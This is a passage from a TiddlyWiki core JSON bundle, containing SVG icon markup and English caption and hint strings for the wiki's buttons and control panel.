            "text": "<svg class=\"tc-image-up-arrow tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n<path transform=\"rotate(-135, 63.8945, 64.1752)\" d=\"m109.07576,109.35336c-1.43248,1.43361 -3.41136,2.32182 -5.59717,2.32182l-79.16816,0c-4.36519,0 -7.91592,-3.5444 -7.91592,-7.91666c0,-4.36337 3.54408,-7.91667 7.91592,-7.91667l71.25075,0l0,-71.25074c0,-4.3652 3.54442,-7.91592 7.91667,-7.91592c4.36336,0 7.91667,3.54408 7.91667,7.91592l0,79.16815c0,2.1825 -0.88602,4.16136 -2.3185,5.59467l-0.00027,-0.00056l0.00001,-0.00001z\" />\n</svg>\n \n"
        },
        "$:/core/images/video": {
            "title": "$:/core/images/video",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-video tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M64,12 C29.0909091,12 8.72727273,14.9166667 5.81818182,17.8333333 C2.90909091,20.75 1.93784382e-15,41.1666667 0,64.5 C1.93784382e-15,87.8333333 2.90909091,108.25 5.81818182,111.166667 C8.72727273,114.083333 29.0909091,117 64,117 C98.9090909,117 119.272727,114.083333 122.181818,111.166667 C125.090909,108.25 128,87.8333333 128,64.5 C128,41.1666667 125.090909,20.75 122.181818,17.8333333 C119.272727,14.9166667 98.9090909,12 64,12 Z M54.9161194,44.6182253 C51.102648,42.0759111 48.0112186,43.7391738 48.0112186,48.3159447 L48.0112186,79.6840553 C48.0112186,84.2685636 51.109784,85.9193316 54.9161194,83.3817747 L77.0838806,68.6032672 C80.897352,66.0609529 80.890216,61.9342897 77.0838806,59.3967328 L54.9161194,44.6182253 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/warning": {
            "title": "$:/core/images/warning",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-warning tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M57.0717968,11 C60.1509982,5.66666667 67.8490018,5.66666667 70.9282032,11 L126.353829,107 C129.433031,112.333333 125.584029,119 119.425626,119 L8.57437416,119 C2.41597129,119 -1.43303051,112.333333 1.64617093,107 L57.0717968,11 Z M64,37 C59.581722,37 56,40.5820489 56,44.9935776 L56,73.0064224 C56,77.4211534 59.5907123,81 64,81 C68.418278,81 72,77.4179511 72,73.0064224 L72,44.9935776 C72,40.5788466 68.4092877,37 64,37 Z M64,104 C68.418278,104 72,100.418278 72,96 C72,91.581722 68.418278,88 64,88 C59.581722,88 56,91.581722 56,96 C56,100.418278 59.581722,104 64,104 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/language/Buttons/AdvancedSearch/Caption": {
            "title": "$:/language/Buttons/AdvancedSearch/Caption",
            "text": "advanced search"
        },
        "$:/language/Buttons/AdvancedSearch/Hint": {
            "title": "$:/language/Buttons/AdvancedSearch/Hint",
            "text": "Advanced search"
        },
        "$:/language/Buttons/Cancel/Caption": {
            "title": "$:/language/Buttons/Cancel/Caption",
            "text": "cancel"
        },
        "$:/language/Buttons/Cancel/Hint": {
            "title": "$:/language/Buttons/Cancel/Hint",
            "text": "Discard changes to this tiddler"
        },
        "$:/language/Buttons/Clone/Caption": {
            "title": "$:/language/Buttons/Clone/Caption",
            "text": "clone"
        },
        "$:/language/Buttons/Clone/Hint": {
            "title": "$:/language/Buttons/Clone/Hint",
            "text": "Clone this tiddler"
        },
        "$:/language/Buttons/Close/Caption": {
            "title": "$:/language/Buttons/Close/Caption",
            "text": "close"
        },
        "$:/language/Buttons/Close/Hint": {
            "title": "$:/language/Buttons/Close/Hint",
            "text": "Close this tiddler"
        },
        "$:/language/Buttons/CloseAll/Caption": {
            "title": "$:/language/Buttons/CloseAll/Caption",
            "text": "close all"
        },
        "$:/language/Buttons/CloseAll/Hint": {
            "title": "$:/language/Buttons/CloseAll/Hint",
            "text": "Close all tiddlers"
        },
        "$:/language/Buttons/CloseOthers/Caption": {
            "title": "$:/language/Buttons/CloseOthers/Caption",
            "text": "close others"
        },
        "$:/language/Buttons/CloseOthers/Hint": {
            "title": "$:/language/Buttons/CloseOthers/Hint",
            "text": "Close other tiddlers"
        },
        "$:/language/Buttons/ControlPanel/Caption": {
            "title": "$:/language/Buttons/ControlPanel/Caption",
            "text": "control panel"
        },
        "$:/language/Buttons/ControlPanel/Hint": {
            "title": "$:/language/Buttons/ControlPanel/Hint",
            "text": "Open control panel"
        },
        "$:/language/Buttons/CopyToClipboard/Caption": {
            "title": "$:/language/Buttons/CopyToClipboard/Caption",
            "text": "copy to clipboard"
        },
        "$:/language/Buttons/CopyToClipboard/Hint": {
            "title": "$:/language/Buttons/CopyToClipboard/Hint",
            "text": "Copy this text to the clipboard"
        },
        "$:/language/Buttons/Delete/Caption": {
            "title": "$:/language/Buttons/Delete/Caption",
            "text": "delete"
        },
        "$:/language/Buttons/Delete/Hint": {
            "title": "$:/language/Buttons/Delete/Hint",
            "text": "Delete this tiddler"
        },
        "$:/language/Buttons/Edit/Caption": {
            "title": "$:/language/Buttons/Edit/Caption",
            "text": "edit"
        },
        "$:/language/Buttons/Edit/Hint": {
            "title": "$:/language/Buttons/Edit/Hint",
            "text": "Edit this tiddler"
        },
        "$:/language/Buttons/Encryption/Caption": {
            "title": "$:/language/Buttons/Encryption/Caption",
            "text": "encryption"
        },
        "$:/language/Buttons/Encryption/Hint": {
            "title": "$:/language/Buttons/Encryption/Hint",
            "text": "Set or clear a password for saving this wiki"
        },
        "$:/language/Buttons/Encryption/ClearPassword/Caption": {
            "title": "$:/language/Buttons/Encryption/ClearPassword/Caption",
            "text": "clear password"
        },
        "$:/language/Buttons/Encryption/ClearPassword/Hint": {
            "title": "$:/language/Buttons/Encryption/ClearPassword/Hint",
            "text": "Clear the password and save this wiki without encryption"
        },
        "$:/language/Buttons/Encryption/SetPassword/Caption": {
            "title": "$:/language/Buttons/Encryption/SetPassword/Caption",
            "text": "set password"
        },
        "$:/language/Buttons/Encryption/SetPassword/Hint": {
            "title": "$:/language/Buttons/Encryption/SetPassword/Hint",
            "text": "Set a password for saving this wiki with encryption"
        },
        "$:/language/Buttons/ExportPage/Caption": {
            "title": "$:/language/Buttons/ExportPage/Caption",
            "text": "export all"
        },
        "$:/language/Buttons/ExportPage/Hint": {
            "title": "$:/language/Buttons/ExportPage/Hint",
            "text": "Export all tiddlers"
        },
        "$:/language/Buttons/ExportTiddler/Caption": {
            "title": "$:/language/Buttons/ExportTiddler/Caption",
            "text": "export tiddler"
        },
        "$:/language/Buttons/ExportTiddler/Hint": {
            "title": "$:/language/Buttons/ExportTiddler/Hint",
            "text": "Export tiddler"
        },
        "$:/language/Buttons/ExportTiddlers/Caption": {
            "title": "$:/language/Buttons/ExportTiddlers/Caption",
            "text": "export tiddlers"
        },
        "$:/language/Buttons/ExportTiddlers/Hint": {
            "title": "$:/language/Buttons/ExportTiddlers/Hint",
            "text": "Export tiddlers"
        },
        "$:/language/Buttons/Fold/Caption": {
            "title": "$:/language/Buttons/Fold/Caption",
            "text": "fold tiddler"
        },
        "$:/language/Buttons/Fold/Hint": {
            "title": "$:/language/Buttons/Fold/Hint",
            "text": "Fold the body of this tiddler"
        },
        "$:/language/Buttons/Fold/FoldBar/Caption": {
            "title": "$:/language/Buttons/Fold/FoldBar/Caption",
            "text": "fold-bar"
        },
        "$:/language/Buttons/Fold/FoldBar/Hint": {
            "title": "$:/language/Buttons/Fold/FoldBar/Hint",
            "text": "Optional bars to fold and unfold tiddlers"
        },
        "$:/language/Buttons/Unfold/Caption": {
            "title": "$:/language/Buttons/Unfold/Caption",
            "text": "unfold tiddler"
        },
        "$:/language/Buttons/Unfold/Hint": {
            "title": "$:/language/Buttons/Unfold/Hint",
            "text": "Unfold the body of this tiddler"
        },
        "$:/language/Buttons/FoldOthers/Caption": {
            "title": "$:/language/Buttons/FoldOthers/Caption",
            "text": "fold other tiddlers"
        },
        "$:/language/Buttons/FoldOthers/Hint": {
            "title": "$:/language/Buttons/FoldOthers/Hint",
            "text": "Fold the bodies of other opened tiddlers"
        },
        "$:/language/Buttons/FoldAll/Caption": {
            "title": "$:/language/Buttons/FoldAll/Caption",
            "text": "fold all tiddlers"
        },
        "$:/language/Buttons/FoldAll/Hint": {
            "title": "$:/language/Buttons/FoldAll/Hint",
            "text": "Fold the bodies of all opened tiddlers"
        },
        "$:/language/Buttons/UnfoldAll/Caption": {
            "title": "$:/language/Buttons/UnfoldAll/Caption",
            "text": "unfold all tiddlers"
        },
        "$:/language/Buttons/UnfoldAll/Hint": {
            "title": "$:/language/Buttons/UnfoldAll/Hint",
            "text": "Unfold the bodies of all opened tiddlers"
        },
        "$:/language/Buttons/FullScreen/Caption": {
            "title": "$:/language/Buttons/FullScreen/Caption",
            "text": "full-screen"
        },
        "$:/language/Buttons/FullScreen/Hint": {
            "title": "$:/language/Buttons/FullScreen/Hint",
            "text": "Enter or leave full-screen mode"
        },
        "$:/language/Buttons/Help/Caption": {
            "title": "$:/language/Buttons/Help/Caption",
            "text": "help"
        },
        "$:/language/Buttons/Help/Hint": {
            "title": "$:/language/Buttons/Help/Hint",
            "text": "Show help panel"
        },
        "$:/language/Buttons/Import/Caption": {
            "title": "$:/language/Buttons/Import/Caption",
            "text": "import"
        },
        "$:/language/Buttons/Import/Hint": {
            "title": "$:/language/Buttons/Import/Hint",
            "text": "Import many types of file including text, image, TiddlyWiki or JSON"
        },
        "$:/language/Buttons/Info/Caption": {
            "title": "$:/language/Buttons/Info/Caption",
            "text": "info"
        },
        "$:/language/Buttons/Info/Hint": {
            "title": "$:/language/Buttons/Info/Hint",
            "text": "Show information for this tiddler"
        },
        "$:/language/Buttons/Home/Caption": {
            "title": "$:/language/Buttons/Home/Caption",
            "text": "home"
        },
        "$:/language/Buttons/Home/Hint": {
            "title": "$:/language/Buttons/Home/Hint",
            "text": "Open the default tiddlers"
        },
        "$:/language/Buttons/Language/Caption": {
            "title": "$:/language/Buttons/Language/Caption",
            "text": "language"
        },
        "$:/language/Buttons/Language/Hint": {
            "title": "$:/language/Buttons/Language/Hint",
            "text": "Choose the user interface language"
        },
        "$:/language/Buttons/Manager/Caption": {
            "title": "$:/language/Buttons/Manager/Caption",
            "text": "tiddler manager"
        },
        "$:/language/Buttons/Manager/Hint": {
            "title": "$:/language/Buttons/Manager/Hint",
            "text": "Open tiddler manager"
        },
        "$:/language/Buttons/More/Caption": {
            "title": "$:/language/Buttons/More/Caption",
            "text": "more"
        },
        "$:/language/Buttons/More/Hint": {
            "title": "$:/language/Buttons/More/Hint",
            "text": "More actions"
        },
        "$:/language/Buttons/NewHere/Caption": {
            "title": "$:/language/Buttons/NewHere/Caption",
            "text": "new here"
        },
        "$:/language/Buttons/NewHere/Hint": {
            "title": "$:/language/Buttons/NewHere/Hint",
            "text": "Create a new tiddler tagged with this one"
        },
        "$:/language/Buttons/NewJournal/Caption": {
            "title": "$:/language/Buttons/NewJournal/Caption",
            "text": "new journal"
        },
        "$:/language/Buttons/NewJournal/Hint": {
            "title": "$:/language/Buttons/NewJournal/Hint",
            "text": "Create a new journal tiddler"
        },
        "$:/language/Buttons/NewJournalHere/Caption": {
            "title": "$:/language/Buttons/NewJournalHere/Caption",
            "text": "new journal here"
        },
        "$:/language/Buttons/NewJournalHere/Hint": {
            "title": "$:/language/Buttons/NewJournalHere/Hint",
            "text": "Create a new journal tiddler tagged with this one"
        },
        "$:/language/Buttons/NewImage/Caption": {
            "title": "$:/language/Buttons/NewImage/Caption",
            "text": "new image"
        },
        "$:/language/Buttons/NewImage/Hint": {
            "title": "$:/language/Buttons/NewImage/Hint",
            "text": "Create a new image tiddler"
        },
        "$:/language/Buttons/NewMarkdown/Caption": {
            "title": "$:/language/Buttons/NewMarkdown/Caption",
            "text": "new Markdown tiddler"
        },
        "$:/language/Buttons/NewMarkdown/Hint": {
            "title": "$:/language/Buttons/NewMarkdown/Hint",
            "text": "Create a new Markdown tiddler"
        },
        "$:/language/Buttons/NewTiddler/Caption": {
            "title": "$:/language/Buttons/NewTiddler/Caption",
            "text": "new tiddler"
        },
        "$:/language/Buttons/NewTiddler/Hint": {
            "title": "$:/language/Buttons/NewTiddler/Hint",
            "text": "Create a new tiddler"
        },
        "$:/language/Buttons/OpenWindow/Caption": {
            "title": "$:/language/Buttons/OpenWindow/Caption",
            "text": "open in new window"
        },
        "$:/language/Buttons/OpenWindow/Hint": {
            "title": "$:/language/Buttons/OpenWindow/Hint",
            "text": "Open tiddler in new window"
        },
        "$:/language/Buttons/Palette/Caption": {
            "title": "$:/language/Buttons/Palette/Caption",
            "text": "palette"
        },
        "$:/language/Buttons/Palette/Hint": {
            "title": "$:/language/Buttons/Palette/Hint",
            "text": "Choose the colour palette"
        },
        "$:/language/Buttons/Permalink/Caption": {
            "title": "$:/language/Buttons/Permalink/Caption",
            "text": "permalink"
        },
        "$:/language/Buttons/Permalink/Hint": {
            "title": "$:/language/Buttons/Permalink/Hint",
            "text": "Set browser address bar to a direct link to this tiddler"
        },
        "$:/language/Buttons/Permaview/Caption": {
            "title": "$:/language/Buttons/Permaview/Caption",
            "text": "permaview"
        },
        "$:/language/Buttons/Permaview/Hint": {
            "title": "$:/language/Buttons/Permaview/Hint",
            "text": "Set browser address bar to a direct link to all the tiddlers in this story"
        },
        "$:/language/Buttons/Print/Caption": {
            "title": "$:/language/Buttons/Print/Caption",
            "text": "print page"
        },
        "$:/language/Buttons/Print/Hint": {
            "title": "$:/language/Buttons/Print/Hint",
            "text": "Print the current page"
        },
        "$:/language/Buttons/Refresh/Caption": {
            "title": "$:/language/Buttons/Refresh/Caption",
            "text": "refresh"
        },
        "$:/language/Buttons/Refresh/Hint": {
            "title": "$:/language/Buttons/Refresh/Hint",
            "text": "Perform a full refresh of the wiki"
        },
        "$:/language/Buttons/Save/Caption": {
            "title": "$:/language/Buttons/Save/Caption",
            "text": "ok"
        },
        "$:/language/Buttons/Save/Hint": {
            "title": "$:/language/Buttons/Save/Hint",
            "text": "Confirm changes to this tiddler"
        },
        "$:/language/Buttons/SaveWiki/Caption": {
            "title": "$:/language/Buttons/SaveWiki/Caption",
            "text": "save changes"
        },
        "$:/language/Buttons/SaveWiki/Hint": {
            "title": "$:/language/Buttons/SaveWiki/Hint",
            "text": "Save changes"
        },
        "$:/language/Buttons/StoryView/Caption": {
            "title": "$:/language/Buttons/StoryView/Caption",
            "text": "storyview"
        },
        "$:/language/Buttons/StoryView/Hint": {
            "title": "$:/language/Buttons/StoryView/Hint",
            "text": "Choose the story visualisation"
        },
        "$:/language/Buttons/HideSideBar/Caption": {
            "title": "$:/language/Buttons/HideSideBar/Caption",
            "text": "hide sidebar"
        },
        "$:/language/Buttons/HideSideBar/Hint": {
            "title": "$:/language/Buttons/HideSideBar/Hint",
            "text": "Hide sidebar"
        },
        "$:/language/Buttons/ShowSideBar/Caption": {
            "title": "$:/language/Buttons/ShowSideBar/Caption",
            "text": "show sidebar"
        },
        "$:/language/Buttons/ShowSideBar/Hint": {
            "title": "$:/language/Buttons/ShowSideBar/Hint",
            "text": "Show sidebar"
        },
        "$:/language/Buttons/TagManager/Caption": {
            "title": "$:/language/Buttons/TagManager/Caption",
            "text": "tag manager"
        },
        "$:/language/Buttons/TagManager/Hint": {
            "title": "$:/language/Buttons/TagManager/Hint",
            "text": "Open tag manager"
        },
        "$:/language/Buttons/Timestamp/Caption": {
            "title": "$:/language/Buttons/Timestamp/Caption",
            "text": "timestamps"
        },
        "$:/language/Buttons/Timestamp/Hint": {
            "title": "$:/language/Buttons/Timestamp/Hint",
            "text": "Choose whether modifications update timestamps"
        },
        "$:/language/Buttons/Timestamp/On/Caption": {
            "title": "$:/language/Buttons/Timestamp/On/Caption",
            "text": "timestamps are on"
        },
        "$:/language/Buttons/Timestamp/On/Hint": {
            "title": "$:/language/Buttons/Timestamp/On/Hint",
            "text": "Update timestamps when tiddlers are modified"
        },
        "$:/language/Buttons/Timestamp/Off/Caption": {
            "title": "$:/language/Buttons/Timestamp/Off/Caption",
            "text": "timestamps are off"
        },
        "$:/language/Buttons/Timestamp/Off/Hint": {
            "title": "$:/language/Buttons/Timestamp/Off/Hint",
            "text": "Don't update timestamps when tiddlers are modified"
        },
        "$:/language/Buttons/Theme/Caption": {
            "title": "$:/language/Buttons/Theme/Caption",
            "text": "theme"
        },
        "$:/language/Buttons/Theme/Hint": {
            "title": "$:/language/Buttons/Theme/Hint",
            "text": "Choose the display theme"
        },
        "$:/language/Buttons/Bold/Caption": {
            "title": "$:/language/Buttons/Bold/Caption",
            "text": "bold"
        },
        "$:/language/Buttons/Bold/Hint": {
            "title": "$:/language/Buttons/Bold/Hint",
            "text": "Apply bold formatting to selection"
        },
        "$:/language/Buttons/Clear/Caption": {
            "title": "$:/language/Buttons/Clear/Caption",
            "text": "clear"
        },
        "$:/language/Buttons/Clear/Hint": {
            "title": "$:/language/Buttons/Clear/Hint",
            "text": "Clear image to solid colour"
        },
        "$:/language/Buttons/EditorHeight/Caption": {
            "title": "$:/language/Buttons/EditorHeight/Caption",
            "text": "editor height"
        },
        "$:/language/Buttons/EditorHeight/Caption/Auto": {
            "title": "$:/language/Buttons/EditorHeight/Caption/Auto",
            "text": "Automatically adjust height to fit content"
        },
        "$:/language/Buttons/EditorHeight/Caption/Fixed": {
            "title": "$:/language/Buttons/EditorHeight/Caption/Fixed",
            "text": "Fixed height:"
        },
        "$:/language/Buttons/EditorHeight/Hint": {
            "title": "$:/language/Buttons/EditorHeight/Hint",
            "text": "Choose the height of the text editor"
        },
        "$:/language/Buttons/Excise/Caption": {
            "title": "$:/language/Buttons/Excise/Caption",
            "text": "excise"
        },
        "$:/language/Buttons/Excise/Caption/Excise": {
            "title": "$:/language/Buttons/Excise/Caption/Excise",
            "text": "Perform excision"
        },
        "$:/language/Buttons/Excise/Caption/MacroName": {
            "title": "$:/language/Buttons/Excise/Caption/MacroName",
            "text": "Macro name:"
        },
        "$:/language/Buttons/Excise/Caption/NewTitle": {
            "title": "$:/language/Buttons/Excise/Caption/NewTitle",
            "text": "Title of new tiddler:"
        },
        "$:/language/Buttons/Excise/Caption/Replace": {
            "title": "$:/language/Buttons/Excise/Caption/Replace",
            "text": "Replace excised text with:"
        },
        "$:/language/Buttons/Excise/Caption/Replace/Macro": {
            "title": "$:/language/Buttons/Excise/Caption/Replace/Macro",
            "text": "macro"
        },
        "$:/language/Buttons/Excise/Caption/Replace/Link": {
            "title": "$:/language/Buttons/Excise/Caption/Replace/Link",
            "text": "link"
        },
        "$:/language/Buttons/Excise/Caption/Replace/Transclusion": {
            "title": "$:/language/Buttons/Excise/Caption/Replace/Transclusion",
            "text": "transclusion"
        },
        "$:/language/Buttons/Excise/Caption/Tag": {
            "title": "$:/language/Buttons/Excise/Caption/Tag",
            "text": "Tag new tiddler with the title of this tiddler"
        },
        "$:/language/Buttons/Excise/Caption/TiddlerExists": {
            "title": "$:/language/Buttons/Excise/Caption/TiddlerExists",
            "text": "Warning: tiddler already exists"
        },
        "$:/language/Buttons/Excise/Hint": {
            "title": "$:/language/Buttons/Excise/Hint",
            "text": "Excise the selected text into a new tiddler"
        },
        "$:/language/Buttons/Heading1/Caption": {
            "title": "$:/language/Buttons/Heading1/Caption",
            "text": "heading 1"
        },
        "$:/language/Buttons/Heading1/Hint": {
            "title": "$:/language/Buttons/Heading1/Hint",
            "text": "Apply heading level 1 formatting to lines containing selection"
        },
        "$:/language/Buttons/Heading2/Caption": {
            "title": "$:/language/Buttons/Heading2/Caption",
            "text": "heading 2"
        },
        "$:/language/Buttons/Heading2/Hint": {
            "title": "$:/language/Buttons/Heading2/Hint",
            "text": "Apply heading level 2 formatting to lines containing selection"
        },
        "$:/language/Buttons/Heading3/Caption": {
            "title": "$:/language/Buttons/Heading3/Caption",
            "text": "heading 3"
        },
        "$:/language/Buttons/Heading3/Hint": {
            "title": "$:/language/Buttons/Heading3/Hint",
            "text": "Apply heading level 3 formatting to lines containing selection"
        },
        "$:/language/Buttons/Heading4/Caption": {
            "title": "$:/language/Buttons/Heading4/Caption",
            "text": "heading 4"
        },
        "$:/language/Buttons/Heading4/Hint": {
            "title": "$:/language/Buttons/Heading4/Hint",
            "text": "Apply heading level 4 formatting to lines containing selection"
        },
        "$:/language/Buttons/Heading5/Caption": {
            "title": "$:/language/Buttons/Heading5/Caption",
            "text": "heading 5"
        },
        "$:/language/Buttons/Heading5/Hint": {
            "title": "$:/language/Buttons/Heading5/Hint",
            "text": "Apply heading level 5 formatting to lines containing selection"
        },
        "$:/language/Buttons/Heading6/Caption": {
            "title": "$:/language/Buttons/Heading6/Caption",
            "text": "heading 6"
        },
        "$:/language/Buttons/Heading6/Hint": {
            "title": "$:/language/Buttons/Heading6/Hint",
            "text": "Apply heading level 6 formatting to lines containing selection"
        },
        "$:/language/Buttons/Italic/Caption": {
            "title": "$:/language/Buttons/Italic/Caption",
            "text": "italic"
        },
        "$:/language/Buttons/Italic/Hint": {
            "title": "$:/language/Buttons/Italic/Hint",
            "text": "Apply italic formatting to selection"
        },
        "$:/language/Buttons/LineWidth/Caption": {
            "title": "$:/language/Buttons/LineWidth/Caption",
            "text": "line width"
        },
        "$:/language/Buttons/LineWidth/Hint": {
            "title": "$:/language/Buttons/LineWidth/Hint",
            "text": "Set line width for painting"
        },
        "$:/language/Buttons/Link/Caption": {
            "title": "$:/language/Buttons/Link/Caption",
            "text": "link"
        },
        "$:/language/Buttons/Link/Hint": {
            "title": "$:/language/Buttons/Link/Hint",
            "text": "Create wikitext link"
        },
        "$:/language/Buttons/Linkify/Caption": {
            "title": "$:/language/Buttons/Linkify/Caption",
            "text": "wikilink"
        },
        "$:/language/Buttons/Linkify/Hint": {
            "title": "$:/language/Buttons/Linkify/Hint",
            "text": "Wrap selection in square brackets"
        },
        "$:/language/Buttons/ListBullet/Caption": {
            "title": "$:/language/Buttons/ListBullet/Caption",
            "text": "bulleted list"
        },
        "$:/language/Buttons/ListBullet/Hint": {
            "title": "$:/language/Buttons/ListBullet/Hint",
            "text": "Apply bulleted list formatting to lines containing selection"
        },
        "$:/language/Buttons/ListNumber/Caption": {
            "title": "$:/language/Buttons/ListNumber/Caption",
            "text": "numbered list"
        },
        "$:/language/Buttons/ListNumber/Hint": {
            "title": "$:/language/Buttons/ListNumber/Hint",
            "text": "Apply numbered list formatting to lines containing selection"
        },
        "$:/language/Buttons/MonoBlock/Caption": {
            "title": "$:/language/Buttons/MonoBlock/Caption",
            "text": "monospaced block"
        },
        "$:/language/Buttons/MonoBlock/Hint": {
            "title": "$:/language/Buttons/MonoBlock/Hint",
            "text": "Apply monospaced block formatting to lines containing selection"
        },
        "$:/language/Buttons/MonoLine/Caption": {
            "title": "$:/language/Buttons/MonoLine/Caption",
            "text": "monospaced"
        },
        "$:/language/Buttons/MonoLine/Hint": {
            "title": "$:/language/Buttons/MonoLine/Hint",
            "text": "Apply monospaced character formatting to selection"
        },
        "$:/language/Buttons/Opacity/Caption": {
            "title": "$:/language/Buttons/Opacity/Caption",
            "text": "opacity"
        },
        "$:/language/Buttons/Opacity/Hint": {
            "title": "$:/language/Buttons/Opacity/Hint",
            "text": "Set painting opacity"
        },
        "$:/language/Buttons/Paint/Caption": {
            "title": "$:/language/Buttons/Paint/Caption",
            "text": "paint colour"
        },
        "$:/language/Buttons/Paint/Hint": {
            "title": "$:/language/Buttons/Paint/Hint",
            "text": "Set painting colour"
        },
        "$:/language/Buttons/Picture/Caption": {
            "title": "$:/language/Buttons/Picture/Caption",
            "text": "picture"
        },
        "$:/language/Buttons/Picture/Hint": {
            "title": "$:/language/Buttons/Picture/Hint",
            "text": "Insert picture"
        },
        "$:/language/Buttons/Preview/Caption": {
            "title": "$:/language/Buttons/Preview/Caption",
            "text": "preview"
        },
        "$:/language/Buttons/Preview/Hint": {
            "title": "$:/language/Buttons/Preview/Hint",
            "text": "Show preview pane"
        },
        "$:/language/Buttons/PreviewType/Caption": {
            "title": "$:/language/Buttons/PreviewType/Caption",
            "text": "preview type"
        },
        "$:/language/Buttons/PreviewType/Hint": {
            "title": "$:/language/Buttons/PreviewType/Hint",
            "text": "Choose preview type"
        },
        "$:/language/Buttons/Quote/Caption": {
            "title": "$:/language/Buttons/Quote/Caption",
            "text": "quote"
        },
        "$:/language/Buttons/Quote/Hint": {
            "title": "$:/language/Buttons/Quote/Hint",
            "text": "Apply quoted text formatting to lines containing selection"
        },
        "$:/language/Buttons/RotateLeft/Caption": {
            "title": "$:/language/Buttons/RotateLeft/Caption",
            "text": "rotate left"
        },
        "$:/language/Buttons/RotateLeft/Hint": {
            "title": "$:/language/Buttons/RotateLeft/Hint",
            "text": "Rotate image left by 90 degrees"
        },
        "$:/language/Buttons/Size/Caption": {
            "title": "$:/language/Buttons/Size/Caption",
            "text": "image size"
        },
        "$:/language/Buttons/Size/Caption/Height": {
            "title": "$:/language/Buttons/Size/Caption/Height",
            "text": "Height:"
        },
        "$:/language/Buttons/Size/Caption/Resize": {
            "title": "$:/language/Buttons/Size/Caption/Resize",
            "text": "Resize image"
        },
        "$:/language/Buttons/Size/Caption/Width": {
            "title": "$:/language/Buttons/Size/Caption/Width",
            "text": "Width:"
        },
        "$:/language/Buttons/Size/Hint": {
            "title": "$:/language/Buttons/Size/Hint",
            "text": "Set image size"
        },
        "$:/language/Buttons/Stamp/Caption": {
            "title": "$:/language/Buttons/Stamp/Caption",
            "text": "stamp"
        },
        "$:/language/Buttons/Stamp/Caption/New": {
            "title": "$:/language/Buttons/Stamp/Caption/New",
            "text": "Add your own"
        },
        "$:/language/Buttons/Stamp/Hint": {
            "title": "$:/language/Buttons/Stamp/Hint",
            "text": "Insert a preconfigured snippet of text"
        },
        "$:/language/Buttons/Stamp/New/Title": {
            "title": "$:/language/Buttons/Stamp/New/Title",
            "text": "Name as shown in menu"
        },
        "$:/language/Buttons/Stamp/New/Text": {
            "title": "$:/language/Buttons/Stamp/New/Text",
            "text": "Text of snippet. (Remember to add a descriptive title in the caption field)."
        },
        "$:/language/Buttons/Strikethrough/Caption": {
            "title": "$:/language/Buttons/Strikethrough/Caption",
            "text": "strikethrough"
        },
        "$:/language/Buttons/Strikethrough/Hint": {
            "title": "$:/language/Buttons/Strikethrough/Hint",
            "text": "Apply strikethrough formatting to selection"
        },
        "$:/language/Buttons/Subscript/Caption": {
            "title": "$:/language/Buttons/Subscript/Caption",
            "text": "subscript"
        },
        "$:/language/Buttons/Subscript/Hint": {
            "title": "$:/language/Buttons/Subscript/Hint",
            "text": "Apply subscript formatting to selection"
        },
        "$:/language/Buttons/Superscript/Caption": {
            "title": "$:/language/Buttons/Superscript/Caption",
            "text": "superscript"
        },
        "$:/language/Buttons/Superscript/Hint": {
            "title": "$:/language/Buttons/Superscript/Hint",
            "text": "Apply superscript formatting to selection"
        },
        "$:/language/Buttons/Transcludify/Caption": {
            "title": "$:/language/Buttons/Transcludify/Caption",
            "text": "transclusion"
        },
        "$:/language/Buttons/Transcludify/Hint": {
            "title": "$:/language/Buttons/Transcludify/Hint",
            "text": "Wrap selection in curly brackets"
        },
        "$:/language/Buttons/Underline/Caption": {
            "title": "$:/language/Buttons/Underline/Caption",
            "text": "underline"
        },
        "$:/language/Buttons/Underline/Hint": {
            "title": "$:/language/Buttons/Underline/Hint",
            "text": "Apply underline formatting to selection"
        },
        "$:/language/ControlPanel/Advanced/Caption": {
            "title": "$:/language/ControlPanel/Advanced/Caption",
            "text": "Advanced"
        },
        "$:/language/ControlPanel/Advanced/Hint": {
            "title": "$:/language/ControlPanel/Advanced/Hint",
            "text": "Internal information about this TiddlyWiki"
        },
        "$:/language/ControlPanel/Appearance/Caption": {
            "title": "$:/language/ControlPanel/Appearance/Caption",
            "text": "Appearance"
        },
        "$:/language/ControlPanel/Appearance/Hint": {
            "title": "$:/language/ControlPanel/Appearance/Hint",
            "text": "Ways to customise the appearance of your TiddlyWiki."
        },
        "$:/language/ControlPanel/Basics/AnimDuration/Prompt": {
            "title": "$:/language/ControlPanel/Basics/AnimDuration/Prompt",
            "text": "Animation duration:"
        },
        "$:/language/ControlPanel/Basics/Caption": {
            "title": "$:/language/ControlPanel/Basics/Caption",
            "text": "Basics"
        },
        "$:/language/ControlPanel/Basics/DefaultTiddlers/BottomHint": {
            "title": "$:/language/ControlPanel/Basics/DefaultTiddlers/BottomHint",
            "text": "Use &#91;&#91;double square brackets&#93;&#93; for titles with spaces. Or you can choose to <$button set=\"$:/DefaultTiddlers\" setTo=\"[list[$:/StoryList]]\">retain story ordering</$button>"
        },
        "$:/language/ControlPanel/Basics/DefaultTiddlers/Prompt": {
            "title": "$:/language/ControlPanel/Basics/DefaultTiddlers/Prompt",
            "text": "Default tiddlers:"
        },
        "$:/language/ControlPanel/Basics/DefaultTiddlers/TopHint": {
            "title": "$:/language/ControlPanel/Basics/DefaultTiddlers/TopHint",
            "text": "Choose which tiddlers are displayed at startup:"
        },
        "$:/language/ControlPanel/Basics/Language/Prompt": {
            "title": "$:/language/ControlPanel/Basics/Language/Prompt",
            "text": "Hello! Current language:"
        },
        "$:/language/ControlPanel/Basics/NewJournal/Title/Prompt": {
            "title": "$:/language/ControlPanel/Basics/NewJournal/Title/Prompt",
            "text": "Title of new journal tiddlers"
        },
        "$:/language/ControlPanel/Basics/NewJournal/Text/Prompt": {
            "title": "$:/language/ControlPanel/Basics/NewJournal/Text/Prompt",
            "text": "Text for new journal tiddlers"
        },
        "$:/language/ControlPanel/Basics/NewJournal/Tags/Prompt": {
            "title": "$:/language/ControlPanel/Basics/NewJournal/Tags/Prompt",
            "text": "Tags for new journal tiddlers"
        },
